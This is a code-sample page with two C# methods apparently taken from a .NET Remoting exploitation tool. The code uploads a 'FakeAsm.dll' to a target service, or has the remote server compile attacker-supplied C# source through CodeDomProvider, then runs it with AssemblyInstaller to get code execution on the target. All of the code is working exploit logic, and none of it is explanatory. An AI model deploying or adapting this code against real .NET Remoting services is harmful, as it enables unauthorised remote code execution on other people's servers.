예제 #1
0
        private static IRemoteClass CreateRemoteClass()
        {
            if (_useser)
            {
                SerializerRemoteClass remote = new SerializerRemoteClass();
                if (!String.IsNullOrWhiteSpace(_installdir))
                {
                    string path      = Path.Combine(_installdir, "FakeAsm.dll");
                    bool   installed = true;

                    try
                    {
                        installed = remote.FileExists(path);
                    }
                    catch (Exception ex)
                    {
                        Trace.WriteLine(ex.ToString());
                    }

                    if (!installed)
                    {
                        Uri uri = new Uri(typeof(IRemoteClass).Assembly.CodeBase, UriKind.Absolute);

                        try
                        {
                            remote.WriteFile(path, File.ReadAllBytes(uri.LocalPath));
                        }
                        catch
                        {
                        }
                    }

                    try
                    {
                        Trace.WriteLine(String.Format("{0}", SendRequest(new SerializableRegister(_remotename), false)));
                    }
                    catch
                    {
                    }
                }



                try
                {
                    IRemoteClass ret = GetExistingRemoteClass();

                    ret.ToString();

                    return(ret);
                }
                catch (Exception ex)
                {
                    Trace.WriteLine(ex.ToString());
                }

                return(remote);
            }
            else
            {
                string path;

                if (_uri.Scheme != "ipc")
                {
                    IRemoteClass ret = GetExistingRemoteClass();

                    try
                    {
                        ret.ToString();

                        return(ret);
                    }
                    catch (RemotingException)
                    {
                    }

                    path = MakeCall <string>(_uri.AbsolutePath, GetStaticMethod(typeof(Path), "GetTempPath"));

                    path = Path.Combine(path, "FakeAsm.dll");

                    CodeDomProvider compiler = MakeCall <CodeDomProvider>(_uri.AbsolutePath, GetCreateInstance <CSharpCodeProvider>());

                    string uri = RemotingServices.GetObjectUri(compiler);

                    CompilerParameters cp = new CompilerParameters();

                    cp.ReferencedAssemblies.Add("System.dll");
                    cp.ReferencedAssemblies.Add("System.Configuration.Install.dll");
                    cp.OutputAssembly = path;

                    cp.GenerateInMemory   = false;
                    cp.GenerateExecutable = false;

                    string code = GetResource("RemoteClass.cs");
                    string intf = GetResource("IRemoteClass.cs");
                    string inst = GetResource("InstallClass.cs");

                    CompilerResults res = MakeCall <CompilerResults>(uri,
                                                                     new FakeMethod(typeof(CodeDomProvider).GetMethod("CompileAssemblyFromSource"), _ver),
                                                                     cp, new string[] { code, intf, inst });
                }
                else
                {
                    path = typeof(IRemoteClass).Assembly.Location;
                }

                try
                {
                    AssemblyInstaller installer = MakeCall <AssemblyInstaller>(_uri.AbsolutePath, GetCreateInstance <AssemblyInstaller>());

                    installer.Path          = path;
                    installer.CommandLine   = new string[] { "/name=" + _remotename };
                    installer.UseNewContext = true;

                    installer.Install(new Hashtable());
                }
                catch
                {
                    // In the IPC case this might fail
                    // Just continue on with the creation of the remote class and see if we're lucky
                }

                return(GetExistingRemoteClass());
            }
        }
        private static IRemoteClass CreateRemoteClassSerial(CustomChannel channel)
        {
            ILease lease = null;

            if (_uselease)
            {
                lease = channel.MakeCall <ILease>(_uri.AbsolutePath, typeof(MarshalByRefObject).GetMethod("InitializeLifetimeService"));
            }

            SerializerRemoteClass remote = new SerializerRemoteClass(channel, lease);

            if (!string.IsNullOrWhiteSpace(_installdir) || _autodir)
            {
                if (_autodir)
                {
                    DirectoryInfo curr_dir = remote.GetDirectory(".");
                    _installdir = curr_dir.FullName;
                }

                string path      = Path.Combine(_installdir, "FakeAsm.dll");
                bool   installed = true;

                try
                {
                    installed = remote.FileExists(path);
                }
                catch (Exception ex)
                {
                    Trace.WriteLine(ex.ToString());
                }

                if (!installed)
                {
                    try
                    {
                        remote.WriteFile(path, File.ReadAllBytes(typeof(IRemoteClass).Assembly.Location));
                    }
                    catch
                    {
                    }
                }

                try
                {
                    Trace.WriteLine(string.Format("{0}", channel.SendRequest(new SerializableRegister(_remotename), false)));
                }
                catch
                {
                }
            }

            try
            {
                IRemoteClass ret = GetExistingRemoteClass();

                ret.ToString();

                return(ret);
            }
            catch (Exception ex)
            {
                Trace.WriteLine(ex.ToString());
            }

            return(remote);
        }